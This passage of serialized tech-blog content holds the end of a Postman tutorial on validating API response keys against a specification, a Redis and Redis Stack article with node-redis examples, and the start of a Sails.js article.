such as: '+redundantExpectedKeys+'. Please check again.')\n            }else if(missExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n            }else{\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }\n            return false;\n        }else{\n            console.log('The parameters returned from the API match those described in the specification.')\n            return true;\n        }\n    }else{\n        console.log('The expectedKeys array contains elements with duplicate names, such as: '+ duplicatedExpectedKeysAray+'. Please check again.')\n    }\n}\npm.test(\"Check return keys\", () => {\n    pm.expect(checkReturnKeys(expectedKeys.sort(),returnKeys.sort())).eql(true);\n});\n",[612,15770,15768],{"__ignoreMap":66},[1693,15772,15774],{"id":15773},"_231-how-the-above-script-works","2.3.1 How the above script works?",[31,15776,15777],{},[34,15778,15779,15780],{},"In the first line: ",[612,15781,15782],{},"let expectedKeys = []",[11,15784,15785,15786,15789,15790,1673],{},"→ The ",[20,15787,15788],{},"expectedKeys"," is an array that contains the response parameter name elements extracted from the API specification (",[20,15791,15792],{},"Expected Result",[31,15794,15795],{},[34,15796,15797,15798],{},"In the second line: ",[612,15799,15800],{},"let returnKeys = Object.keys(pm.response.json())",[11,15802,15785,15803,15806,15807,1673],{},[20,15804,15805],{},"returnKeys"," is an array that contains the response parameter name elements returned by executing API (",[20,15808,15809],{},"Actual Result",[31,15811,15812],{},[34,15813,15814,15815,15817,15818,15820,15821,15817,15823,1673],{},"The script compares the elements of the ",[20,15816,15788],{}," array (",[20,15819,15792],{},") with the ",[20,15822,15805],{},[20,15824,15809],{},[11,15826,15827,15828,15833,15834,15837,15838,15556],{},"→ If the two arrays match completely, the script returns a ",[15829,15830,15832],"b",{"style":15831},"color:green","PASS"," result in the ",[20,15835,15836],{},"Test Results"," and a notification message in the ",[20,15839,15625],{},[11,15841,15842,15843,15833,15846,15848,15849,15851],{},"→ If there is no match, the script returns a ",[15829,15844,15845],{"style":14446},"FAIL",[20,15847,15836],{}," tab and a notification message in the ",[20,15850,15625],{}," tab. Therefore, the following steps should be done before running the above script:",[31,15853,15854,15861],{},[34,15855,15856,15857,15860],{},"On the first line, copy and paste the response parameter names extracted from the API specification into the empty brackets ",[612,15858,15859],{},"[]"," to create the expectedKeys array.",[34,15862,15863,15864,15866],{},"On the second line, modify ",[612,15865,15698],{}," to retrieve the response parameter names returned by executing the API and creating the returnKeys array.",[1693,15868,15870],{"id":15869},"_232-execution-steps","2.3.2 Execution steps",[11,15872,15873,15875,15876,15878],{},[20,15874,431],{},": Paste the above script into the ",[20,15877,15645],{}," tab on POSTMAN.",[438,15880],{"className":15881,"alt":66,"src":15882,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26100828\u002FScript_B%C6%B0%E1%BB%9Bc-1_EN-1-1024x431.png",[11,15884,15885,15887],{},[20,15886,449],{},": Open the API specification and extract the names of the response parameters for the object that needs to be tested in the response section.",[11,15889,15890],{},"For example, the autoDisplaySearchId API has a main object as \"autoDisplay\" and child objects such as \"material\", \"laminate\", etc. The illustration below is a guide to extracting the response parameter for the main object, which is autoDisplay.",[438,15892],{"className":15893,"alt":66,"src":15894,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26101030\u002Fscript_B%C6%B0%E1%BB%9Bc-2_EN-1024x377.png",[11,15896,15897,15899,15900,15902],{},[20,15898,459],{},": Paste the response parameter name extracted in step 2 into ",[612,15901,15859],{}," in the first line of the above script.\nExample:",[31,15904,15905,15910],{},[34,15906,15907,15908],{},"Before pasting: let expectedKeys = ",[612,15909,15859],{},[34,15911,15912,15913,507,15916,507,15919],{},"After pasting: let expectedKeys = ",[612,15914,15915],{},"[\"id\",\"type\",\"code\",\"name\",\"width1\",\"width2\",\"paste\",\"unit\",\"laminateType\",",[612,15917,15918],{},"\"sort\",\"supplier\",\"maker\",\"settingDate\",\"beforeUnit\",\"comment\",\"disableFlag\",\"createdAt\",\"createdBy\",",[612,15920,15921],{},"\"createdUserName\",\"updatedAt\",\"updatedBy\",\"updatedUserName\"]",[438,15923],{"className":15924,"alt":66,"src":15925,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26101419\u002Fscript_B%C6%B0%E1%BB%9Bc-3_EN-1-1024x573.png",[11,15927,15928,15930,15931,15934],{},[20,15929,483],{},": In the second line of the above script, modify ",[612,15932,15933],{},"returnKeys = Object.keys(pm.response.json())"," to match the response parameter names returned by the API for the object being tested.",[11,15936,15937,15940,15941],{},[20,15938,15939],{},"Example 1",": The autoDisplaySearchId API returns an object. If the object to be tested is the \"autoDisplay\" object of the autoDisplaySearchId API, modify ",[612,15942,15933],{},[11,15944,15945,15948,15949],{},[20,15946,15947],{},"Example 2",": The autoDisplaySearchId API returns an object. If the object to be tested is the \"material\" object of the autoDisplaySearchId API, modify ",[612,15950,15951],{},"returnKeys = Object.keys(pm.response.json().material)",[11,15953,15954,15957,15958],{},[20,15955,15956],{},"Example 3",": The autoDisplaySearch API returns an array. If the object to be tested is the \"autoDisplay\" object of the autoDisplaySearch API, modify ",[612,15959,15960],{},"returnKeys = Object.keys(pm.response.json()[0])",[11,15962,15963,15966,15967],{},[20,15964,15965],{},"Example 4",": The autoDisplaySearch API returns an array. If the object to be tested is the \"material\" object of the autoDisplaySearch API, modify ",[612,15968,15969],{},"returnKeys = Object.keys(pm.response.json()[0].material)",[11,15971,15972,15973,15975,15976,15978,15979,15981,15982,15984,15985,15556],{},"Press the ",[20,15974,15657],{}," button to send the request and then check the ",[15829,15977,15832],{"style":15831}," \u002F ",[15829,15980,15845],{"style":14446}," results in the ",[20,15983,15836],{}," tab and confirm the notification message in the ",[20,15986,15625],{},[11,15988,15989,15992,15993,15995,15996,15998],{},[20,15990,15991],{},"Case 1",": If the elements in the ",[20,15994,15788],{}," array and the ",[20,15997,15805],{}," array match, the API returns the correct parameters according to the API specification without any missing or extra parameters.",[31,16000,16001,16007],{},[34,16002,16003,16004,16006],{},"Tab Test Results: Display ",[15829,16005,15832],{"style":15831}," result.",[34,16008,16009,16010],{},"Tab Console: Display the following message.\n",[612,16011,16012],{},"\"The parameters returned from the API match those described in the specification.\"",[438,16014],{"className":16015,"alt":66,"src":16016,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26105558\u002Fscript_check-result_case1_EN-2-1024x442.png",[11,16018,16019,16022,16023,16025,16026,16028,16029],{},[20,16020,16021],{},"Case 2",": The ",[20,16024,15788],{}," array contains the element with the same name.\n・Tab Test Results: Display ",[15829,16027,15845],{"style":14446}," result.\n・Tab Console: Display the following message.\n",[612,16030,16031],{},"\"The expectedKeys array contains elements with duplicate names, such as: {the same name element}. Please check again.\"",[11,16033,16034,16035,16037],{},"→ In this case, we need to check the ",[20,16036,15788],{}," array and remove any duplicates. After removing the duplicates, we can run the API again.",[438,16039],{"className":16040,"alt":66,"src":16041,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103507\u002Fscript_check-result_case2_EN-1024x447.png",[11,16043,16044,16047],{},[20,16045,16046],{},"Case 3",": The API is returning the extra parameters that are not described in the API specification.",[31,16049,16050,16054],{},[34,16051,16003,16052,16006],{},[15829,16053,15845],{"style":14446},[34,16055,16009,16056],{},[612,16057,16058],{},"\"Some parameters are being returned in the API response result that are not described in the specification, such as: {parameter name}. Please check again.\"",[11,16060,16061],{},"→ In this case, we need to notify the developer to delete the extra parameters.",[438,16063],{"className":16064,"alt":66,"src":16065,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103732\u002Fscript_check-result_case3_EN-1024x444.png",[11,16067,16068,16071],{},[20,16069,16070],{},"Case 4",": Do not return response parameters described in API specification.",[31,16073,16074,16078],{},[34,16075,16003,16076,16006],{},[15829,16077,15845],{"style":14446},[34,16079,16009,16080,16083],{},[612,16081,16082],{},"\"Some parameters that are described in the specification are not being returned in the API response result, such as: {parameter name}. Please check again.\""," → In this case, we need to notify the developer to add the missing parameters.",[438,16085],{"className":16086,"alt":66,"src":16087,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103746\u002Fscript_check-result_case4_EN-1024x422.png",[11,16089,16090,16093],{},[20,16091,16092],{},"Case 5",": Returns both missing and extra response parameters compared to the API specification.",[31,16095,16096,16100],{},[34,16097,16003,16098,16006],{},[15829,16099,15845],{"style":14446},[34,16101,16009,16102,507,16104],{},[612,16103,16058],{},[612,16105,16082],{},[11,16107,16108],{},"→ In this case, we need to notify the developer to delete the extra parameter and add the missing parameter.",[438,16110],{"className":16111,"alt":66,"src":16112,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F26103758\u002Fscript_check-result_case5_EN-1024x436.png",[403,16114,16116],{"id":16115},"_3-references","3. References",[11,16118,16119],{},[55,16120,16121],{"href":16121,"rel":16122},"https:\u002F\u002Flearning.postman.com\u002Fdocs\u002Fsending-requests\u002Fvariables\u002F",[59],[11,16124,16125],{},[55,16126,16127],{"href":16127,"rel":16128},"https:\u002F\u002Fgiangtester.com\u002Fcategory\u002Fapi-testing\u002Fpostman\u002F",[59],{"title":66,"searchDepth":67,"depth":67,"links":16130},[16131,16132,16137],{"id":15482,"depth":67,"text":15483},{"id":15497,"depth":67,"text":15498,"children":16133},[16134,16135,16136],{"id":15504,"depth":1306,"text":15505},{"id":15608,"depth":1306,"text":15609},{"id":15760,"depth":1306,"text":15761},{"id":16115,"depth":67,"text":16116},"2023-04-14","Since its first release in 2012, POSTMAN has gained over 25 million users for nearly a decade and has become the most popular tool used in API Application Programming Interface testing. POSTMAN has various features, including the ability to send HTTP requests using methods such as POST, PUT, GET, and DELETE, to check returned data in formats such as JSON and XML, to manage requests using the Collection feature, and to share data with the Import \u002F Export feature. It is designed to be user-friendly and can be used by individuals without programming knowledge.",{},"\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich",{"title":15464,"description":16139},"news\u002Fpostman-va-mot-so-tinh-nang-huu-ich","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F12155723\u002Fpostman_image-2.png","2TuABLvMaa8Y8ketRML9_ieswf3RkCZAzJH8msuqKG4",{"id":16147,"title":16148,"body":16149,"category":1319,"created by":70,"date":16699,"description":16700,"extension":72,"meta":16701,"navigation":74,"path":16703,"sections":76,"seo":16704,"stem":16705,"thumbnail":16706,"__hash__":16707},"content_en\u002Fnews\u002Fredis-va-redis-stack.md","Redis and Redis Stack",{"type":8,"value":16150,"toc":16686},[16151,16155,16170,16173,16176,16179,16182,16186,16190,16193,16196,16202,16208,16214,16220,16226,16230,16233,16237,16240,16243,16247,16250,16257,16260,16265,16273,16278,16286,16293,16296,16301,16312,16317,16325,16328,16331,16334,16338,16342,16345,16348,16351,16354,16357,16360,16363,16367,16370,16389,16396,16400,16404,16416,16423,16429,16432,16438,16441,16444,16447,16452,16458,16465,16468,16474,16479,16485,16491,16497,16500,16503,16506,16509,16513,16518,16542,16548,16553,16558,16565,16571,16576,16582,16588,16593,16599,16603,16607,16610,16616,16620,16627,16633,16638,16644,16646,16649,16652,16659,16661,16667,16673,16680],[403,16152,16153],{"id":3630},[20,16154,3631],{},[11,16156,16157,16158,16161,16162,16165,16166,16169],{},"Redis (",[20,16159,16160],{},"Re","mote ",[20,16163,16164],{},"Di","ctionary ",[20,16167,16168],{},"S","erver) is one of the NoSQL-style database management systems.",[11,16171,16172],{},"Used to store structured data as key-value on RAM with high performance.",[11,16174,16175],{},"Can be used as a database, cache or message broker. Redis can also be used as a database stored in RAM to speed up processing.",[11,16177,16178],{},"Redis currently offers response times at speeds of less than a millisecond, as Redis allows you to store on your RAM faster than when storing on hard drives, about 150,000 times faster than hdd access and 500 times faster than SSD access.",[11,16180,16181],{},"Good use in linking microservices together.",[565,16183,16185],{"id":16184},"features-of-redis","Features of Redis",[1693,16187,16189],{"id":16188},"data-model","Data model",[11,16191,16192],{},"Redis has no tables. Redis stores data as a key-value.",[11,16194,16195],{},"Redis data types used to store value:",[11,16197,16198,16201],{},[20,16199,16200],{},"STRING",": Can be string, integer, or float. Redis can work with both strings, individual parts of the string, as well as increase\u002F decrease the value of the integer, float.",[11,16203,16204,16207],{},[20,16205,16206],{},"LIST",": The associated list of strings. Redis supports push, pop operations from both sides of the list, trim based on offset, read 1 or more items of the list, search and delete values.",[11,16209,16210,16213],{},[20,16211,16212],{},"SET",": Set of strings (not sorted). Redis supports operations that add, read, delete each element, check the appearance of the element in the set. Redis also supports set operations, including intersect\u002Funion\u002Fdifference.",[11,16215,16216,16219],{},[20,16217,16218],{},"HASH",": Stores hash tables of key-value pairs, in which keys are randomly sorted, in no order at all. Redis supports operations to add, read, delete each element individually, as well as read all values.",[11,16221,16222,16225],{},[20,16223,16224],{},"ZSET"," (sorted set): Is a list, in which each element is a map of 1 string (member) and 1 floating-point number (score), the list is sorted by this score. Redis supports adding, reading, deleting each element, taking out elements based on the range of the score or string.",[1693,16227,16229],{"id":16228},"replication-persistence","Replication – Persistence:",[11,16231,16232],{},"Redis uses a primary-replica architecture and supports asynchronous replication, data can be copied to many different servers. This makes for improved read performance (as requests can be split between servers) and faster recovery when the main server experiences an outage. For maintenance, Redis supports point-in-time backups (copying Redis data to disk).",[1693,16234,16236],{"id":16235},"in-memory-data-store","In-Memory Data Store",[11,16238,16239],{},"Redis stores data on RAM, so reading and writing data is much faster than on a hard drive.",[11,16241,16242],{},"But also because all the data on RAM will be lost when turning off server, However, one solution was to use Redis Persistence.",[1693,16244,16246],{"id":16245},"persistent-redis","Persistent redis",[11,16248,16249],{},"Although working with key-value data stored on RAM, Redis still needs to store data on the hard drive to ensure data integrity when something goes wrong (the server is powered off) as well as recreate the dataset when restarting the server. Redis provides 2 main methods for backing up data to hard drives, namely RDB and AOF.",[11,16251,16252],{},[51,16253,16254],{},[20,16255,16256],{},"RDB (Redis Database)",[11,16258,16259],{},"RDB creates and backs up a snapshot of the DB to the hard drive every certain period of time.",[11,16261,16262],{},[51,16263,16264],{},"Advantages of RDB",[31,16266,16267,16270],{},[34,16268,16269],{},"RDB allows users to save different versions of the DB, which is very convenient when something goes wrong.",[34,16271,16272],{},"RDB helps optimize Redis performance. The main Redis process will only do the work on RAM, including the basic operations required from the client side such as add\u002Fread\u002Fdelete, while a child process will take care of disk I\u002FO operations. . This organization helps maximize Redis performance.",[11,16274,16275],{},[51,16276,16277],{},"Disadvantages of RDB",[31,16279,16280,16283],{},[34,16281,16282],{},"Usually users will set up to create RDB snapshot every 5 minutes (or more). Therefore, in the event of a problem, Redis cannot operate, data in the last minutes will be lost.",[34,16284,16285],{},"RDB needs to use fork to create child processes for disk I\u002FO operations. In case the data is too large, the fork process can be time consuming and the server will not be able to respond to the request from the client for several milliseconds or even 1 second depending on the amount of data and CPU performance.",[11,16287,16288],{},[51,16289,16290],{},[20,16291,16292],{},"AOF (Append Only File)",[11,16294,16295],{},"AOF saves all write operations received by the server, these operations will be rerun when restarting the server or resetting the original dataset.",[11,16297,16298],{},[51,16299,16300],{},"Advantages of AOF",[31,16302,16303,16306,16309],{},[34,16304,16305],{},"AOF Redis ensures that the dataset is more stable. Users can configure Redis to log once a second or every query.",[34,16307,16308],{},"Redis logs AOF in an append-to-end of an existing file, so a seek process on an existing file is unnecessary. Even if the log ends with a half-written command for some reason (disk is full or other reasons), the redis-check-aof tool can still fix it easily.",[34,16310,16311],{},"Redis provides a background process, allowing to record AOF files when the file size is too large. The rewrite is completely safe because while Redis continues to add to the old file, a completely new file is created with the minimal set of operations required to create the current dataset, and when this second file is ready, Redis transfers two files and starts adding a new file.",[11,16313,16314],{},[51,16315,16316],{},"Disadvantages of AOF",[31,16318,16319,16322],{},[34,16320,16321],{},"AOF files are often larger than equivalent RDB files for the same data set.",[34,16323,16324],{},"AOF may be slower than RDB depending on fsync policy. Generally with fsync set to second, performance is still very high, and with fsync disabled it will be exactly as fast as RDB. RDB can still provide more guarantees about maximum latency even in case of very large write load.",[565,16326,11654],{"id":16327},"performance",[11,16329,16330],{},"Compared to a traditional on-disk database in which most tasks require repeated access to the drive, Redis only needs to get the calculated result. Therefore, Redis performance is remarkably fast for conventional read or write tasks along with low latency and high throughput.",[11,16332,16333],{},"Supports more operations and 10x faster response times. The average read and write operations take less than a millisecond and support millions of operations per second.",[438,16335],{"className":16336,"alt":66,"src":16337,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F05151236\u002Fnosql-benchmark-200000.png",[565,16339,16341],{"id":16340},"common-use-cases-of-redis","Common use cases of Redis",[11,16343,16344],{},"Caching",[11,16346,16347],{},"Save the pending task list",[11,16349,16350],{},"Game leaderboards",[11,16352,16353],{},"Session archive",[11,16355,16356],{},"Machine Learning",[11,16358,16359],{},"Real-time analytics",[11,16361,16362],{},"…",[403,16364,16366],{"id":16365},"redis-stack","Redis Stack",[11,16368,16369],{},"The Redis Stack was created to enable developers to build real-time applications with a backend data platform that can reliably handle requests in milliseconds by extending Redis with data models and data processing tools.",[11,16371,16372,16373,1341,16376,1341,16379,1341,16382,16385,16386,878],{},"Redis Stack has 5 module packages: ",[20,16374,16375],{},"RedisJSON",[20,16377,16378],{},"RediSearch",[20,16380,16381],{},"RedisGraph",[20,16383,16384],{},"RedisTimeSeries"," and ",[20,16387,16388],{},"RedisBloom",[11,16390,16391,16392,16395],{},"In addition, the Redis Stack also includes ",[20,16393,16394],{},"RedisInsight",", a visualization tool for understanding and optimizing data.",[438,16397],{"className":16398,"alt":66,"src":16399,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F10104316\u002FRedisInsight-1024x545.png",[11,16401,16403],{"className":16402},[2464,2465,2466,2467,2468],"\nRedisInsight interface\n",[11,16405,16406,16407,16385,16409,16411,16412,16415],{},"To easily understand how the Redis Stack works, we will start to learn how to use 2 modules ",[20,16408,16375],{},[20,16410,16378],{}," with ",[20,16413,16414],{},"the node-redis"," library.",[11,16417,16418,16419,16422],{},"Install ",[20,16420,16421],{},"node-redis"," library",[605,16424,16427],{"className":16425,"code":16426,"language":610},[608],"npm install redis\n",[612,16428,16426],{"__ignoreMap":66},[11,16430,16431],{},"Connect to Redis Server",[605,16433,16436],{"className":16434,"code":16435,"language":610},[608],"import { createClient } from 'redis';\n\nconst client = createClient({\n  url: 'redis[s]:\u002F\u002F[[username][:password]@][host][:port][\u002Fdb-number]'\n});\n\nclient.on('error', (err) => console.log('Redis Client Error', err));\n\nawait client.connect();\n",[612,16437,16435],{"__ignoreMap":66},[565,16439,16375],{"id":16440},"redisjson",[11,16442,16443],{},"RedisJSON is a Redis module that provides JSON support in Redis. RedisJSON allows you to store, update, and retrieve JSON values in Redis just like you would with any other Redis data type. RedisJSON also works simultaneously with RediSearch to allow you to index and query your JSON documents.",[11,16445,16446],{},"The document is stored as binary data in a tree structure, which allows quick access to child elements.",[11,16448,16449],{},[20,16450,16451],{},"Storing JSON Documents in Redis",[11,16453,14684,16454,16457],{},[612,16455,16456],{},"JSON.SET"," command stores a JSON value at a given JSON Path in a Redis key.",[11,16459,16460,16461,16464],{},"Here, we'll store a JSON document in the root of the Redis key \"",[612,16462,16463],{},"users","\":",[11,16466,16467],{},"await client.json.set('noderedis:users', '$', {",[605,16469,16472],{"className":16470,"code":16471,"language":610},[608],"    name: 'Alice',\n    age: 29\n});\n",[612,16473,16471],{"__ignoreMap":66},[11,16475,16476],{},[20,16477,16478],{},"Retrieving JSON Documents from Redis",[605,16480,16483],{"className":16481,"code":16482,"language":610},[608],"const results = await client.json.get('noderedis:users');\n",[612,16484,16482],{"__ignoreMap":66},[11,16486,16487,16490],{},[612,16488,16489],{},"results"," will contain the following:",[605,16492,16495],{"className":16493,"code":16494,"language":610},[608],"{ name: 'Alice', age: 29 }\n",[612,16496,16494],{"__ignoreMap":66},[565,16498,16378],{"id":16499},"redisearch",[11,16501,16502],{},"RediSearch is a Redis module that provides query, sub-indexing, and search capabilities for Redis. To use RediSearch, you first declare indexes on your Redis data. You can then use the RediSearch query language to query that data.",[11,16504,16505],{},"RediSearch uses compressed, inverted indexes to index quickly with low memory capacity.",[11,16507,16508],{},"RediSearch provides accurate phrase comparison, fuzzy search (search for \"approximation\"), numeric filtering,...",[1693,16510,16512],{"id":16511},"indexing-and-querying-data-in-redis-hashes","Indexing and Querying Data in Redis Hashes",[11,16514,16515],{},[20,16516,16517],{},"Creating an Index",[11,16519,16520,16521,16524,16525,16528,16529,1341,16532,16385,16535,16538,16539,712],{},"Before we can perform any searches, we need to tell RediSearch how to index our data, and which Redis keys to find that data in. The ",[20,16522,16523],{},"FT.CREATE"," command creates a RediSearch index. Here's how to use it to create an index we'll call ",[612,16526,16527],{},"idx:animals"," where we want to index hashes containing ",[612,16530,16531],{},"name",[612,16533,16534],{},"species",[612,16536,16537],{},"age"," fields, and whose key names in Redis begin with the prefix ",[612,16540,16541],{},"noderedis:animals",[605,16543,16546],{"className":16544,"code":16545,"language":610},[608],"await client.ft.create('idx:animals', {\n  name: {\n    type: SchemaFieldTypes.TEXT,\n    sortable: true\n  },\n    species: SchemaFieldTypes.TAG,\n    age: SchemaFieldTypes.NUMERIC\n  }, {\n    ON: 'HASH',\n    PREFIX: 'noderedis:animals'\n  }\n);\n",[612,16547,16545],{"__ignoreMap":66},[11,16549,16550,16551],{},"Once we've created an index, and added some data to Redis hashes whose keys begin with the prefix ",[612,16552,16541],{},[11,16554,16555],{},[20,16556,16557],{},"Add a document",[11,16559,16560,16561,16564],{},"Use the ",[20,16562,16563],{},"HSET"," command to create a new hash document and add it to the index:",[605,16566,16569],{"className":16567,"code":16568,"language":610},[608],"await client.hSet('noderedis:animals:1', {name: 'Fluffy', species: 'cat', age: 3});\nawait client.hSet('noderedis:animals:2', {name: 'Ginger', species: 'dog', age: 4});\n",[612,16570,16568],{"__ignoreMap":66},[11,16572,16573],{},[20,16574,16575],{},"Querying the Index",[11,16577,16578,16579],{},"To search the index for documents containing specific words, use ",[20,16580,16581],{},"FT. SEARCH",[605,16583,16586],{"className":16584,"code":16585,"language":610},[608],"const results = await client.ft.search(\n    'idx:animals', \n    '@species:{dog}',\n    {\n      SORTBY: {\n        BY: 'age',\n        DIRECTION: 'DESC' \u002F\u002F or 'ASC' (default if DIRECTION is not present)\n      }\n    }\n  );\n",[612,16587,16585],{"__ignoreMap":66},[11,16589,16590,16592],{},[612,16591,16489],{}," will look like this:",[605,16594,16597],{"className":16595,"code":16596,"language":610},[608],"{\n  total: 1,\n  documents: [\n    {\n      id: 'noderedis:animals:2',\n      value: {\n        name: 'Ginger',\n        species: 'dog',\n        age: '4'\n      }\n    }\n  ]\n}\n",[612,16598,16596],{"__ignoreMap":66},[1693,16600,16602],{"id":16601},"indexing-and-querying-data-with-redisjson","Indexing and Querying Data with RedisJSON",[11,16604,16605],{},[20,16606,16517],{},[11,16608,16609],{},"To create an index for a JSON document",[605,16611,16614],{"className":16612,"code":16613,"language":610},[608],"await client.ft.create('idx:users', {\n    '$.name': {\n        type: SchemaFieldTypes.TEXT,\n        SORTABLE: 'UNF'\n    },\n    '$.age': {\n        type: SchemaFieldTypes.NUMERIC,\n        AS: 'age'\n    },\n}, {\n    ON: 'JSON',\n    PREFIX: 'noderedis:users'\n});\n",[612,16615,16613],{"__ignoreMap":66},[11,16617,16618],{},[20,16619,16575],{},[11,16621,16622,16623,16626],{},"We will use the ",[612,16624,16625],{},"FT.SEARCH"," command and RediSearch query language. For example, a query to find users under the age of 30:",[605,16628,16631],{"className":16629,"code":16630,"language":610},[608],"const results = await client.ft.search('idx:users', '@age:[0 30]');\n",[612,16632,16630],{"__ignoreMap":66},[11,16634,16635,16637],{},[612,16636,16489],{}," data returned:",[605,16639,16642],{"className":16640,"code":16641,"language":610},[608],"{\n  \"total\": 1,\n  \"documents\": [\n    {\n      \"id\": \"noderedis:users\",\n      \"value\": {\n        \"name\": \"Alice\",\n        \"age\": 29\n      }\n    }\n  ]\n}\n",[612,16643,16641],{"__ignoreMap":66},[403,16645,5257],{"id":5256},[11,16647,16648],{},"Redis is an open source software package with many advantages, so it is widely used in the software development process.",[11,16650,16651],{},"It's super fast, easy to set up and use, and supports flexible data structures. Redis is a great choice when it comes to caching data or applications with real-time requirements.",[11,16653,16654,16655,16658],{},"With the same mechanism of storing data on RAM, compared to Memcached ",[20,16656,16657],{},","," Redis supports more data types and more operations on the server side. There is also a default mechanism to back up data to disk while Memcached does not have this mechanism. So if you want your system to be cacheable but with complex data structures, then Redis will be a better choice.",[403,16660,3866],{"id":3476},[11,16662,16663],{},[55,16664,16665],{"href":16665,"rel":16666},"https:\u002F\u002Fredis.io\u002Fdocs\u002F",[59],[11,16668,16669],{},[55,16670,16671],{"href":16671,"rel":16672},"https:\u002F\u002Fredis.js.org\u002F",[59],[11,16674,16675],{},[55,16676,16679],{"href":16677,"rel":16678},"https:\u002F\u002Fbyterot.blogspot.com\u002F2012\u002F11\u002Fnosql-benchmark-redis-mongodb-ravendb-cassandra-sqlserver.html",[59],"https:\u002F\u002Fbyterot.blogspot.com\u002F2012\u002F11\u002Fnosql-benchmark-redis-mongodb-ravendb-cassandra-sqlserver",[11,16681,16682],{},[55,16683,16684],{"href":16684,"rel":16685},"https:\u002F\u002Fgithub.com\u002Fredis\u002Fnode-redis",[59],{"title":66,"searchDepth":67,"depth":67,"links":16687},[16688,16693,16697,16698],{"id":3630,"depth":67,"text":3631,"children":16689},[16690,16691,16692],{"id":16184,"depth":1306,"text":16185},{"id":16327,"depth":1306,"text":11654},{"id":16340,"depth":1306,"text":16341},{"id":16365,"depth":67,"text":16366,"children":16694},[16695,16696],{"id":16440,"depth":1306,"text":16375},{"id":16499,"depth":1306,"text":16378},{"id":5256,"depth":67,"text":5257},{"id":3476,"depth":67,"text":3866},"2022-09-13","Introduction Redis(Remote Dictionary Server) is one of the NoSQL-style database management systems. Used to store structured data as key-value on RAM with high performance. Can be used as a database, cache or message broker. Redis can also be used as a database stored in RAM to speed up processing.",{"coverImage":16702},"redis.png","\u002Fnews\u002Fredis-va-redis-stack",{"title":16148,"description":16700},"news\u002Fredis-va-redis-stack","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F03093000\u002Fredis.png","Uy1Pt-xE0Binr5xnWzXxz4Njv8FVSwRGYYwby-336tI",{"id":16709,"title":16710,"body":16711,"category":16717,"created by":70,"date":16718,"description":259,"extension":72,"meta":16719,"navigation":74,"path":16720,"sections":76,"seo":16721,"stem":16722,"thumbnail":16723,"__hash__":16724},"content_en\u002Fnews\u002Frui-ro-va-kiem-thu.md","(日本語) リスクとテスト",{"type":8,"value":16712,"toc":16715},[16713],[11,16714,259],{},{"title":66,"searchDepth":67,"depth":67,"links":16716},[],[262,1319],"2025-02-24",{},"\u002Fnews\u002Frui-ro-va-kiem-thu",{"title":16710,"description":259},"news\u002Frui-ro-va-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F18172547\u002FScreenshot-2025-02-18-171705.png","sOcmpN6S-tjOEdzSU_yxdCC4MNz68dRPixWyDREIpVI",{"id":16726,"title":16727,"body":16728,"category":1319,"created by":70,"date":17396,"description":17397,"extension":72,"meta":17398,"navigation":74,"path":17399,"sections":76,"seo":17400,"stem":17401,"thumbnail":17402,"__hash__":17403},"content_en\u002Fnews\u002Fsails-js-mvc-framework-node-js.md","Sails.js | MVC Framework for Node.js",{"type":8,"value":16729,"toc":17389},[16730,16732,16735,16755,16759,16762,16765,16768,16771,16774,16777,16780,16783,16789,16796,16802,16805,16811,16814,16820,16823,16827,16838,16841,16847,16850,16854,16857,16861,16865,16868,16872,16875,16878,16884,16890,16896,16902,16908,16914,16917,16920,16924,16927,16931,16934,16938,16941,16952,16956,16959,16973,16976,16982,16989,16993,16996,16999,17005,17012,17016,17035,17041,17044,17047,17050,17054,17057,17061,17069,17072,17078,17084,17090,17094,17097,17103,17109,17122,17126,17136,17143,17147,17154,17160,17164,17169,17173,17181,17185,17196,17200,17207,17211,17220,17224,17228,17232,17239,17243,17246,17250,17258,17262,17269,17273,17280,17284,17289,17293,17300,17304,17307,17311,17315,17318,17321,17325,17328,17331,17335,17338,17341,17345,17348,17351,17354,17356,17359,17361,17368,17375,17382],[395,16731,3631],{"id":3630},[11,16733,16734],{},"Sails.js is a popular MVC (Model-View-Controller) framework built on top of Node.js that simplifies building scalable and real-time web applications. In this tech blog, we will create a web app with Sails.js and set up a MySQL database connection. Additionally, we will compare Sails.js with Express.js, another widely used Node.js framework.",[11,16736,16737,16738,1341,16743,16748,16749,16754],{},"Sails.js is actively being used in the wild by companies like 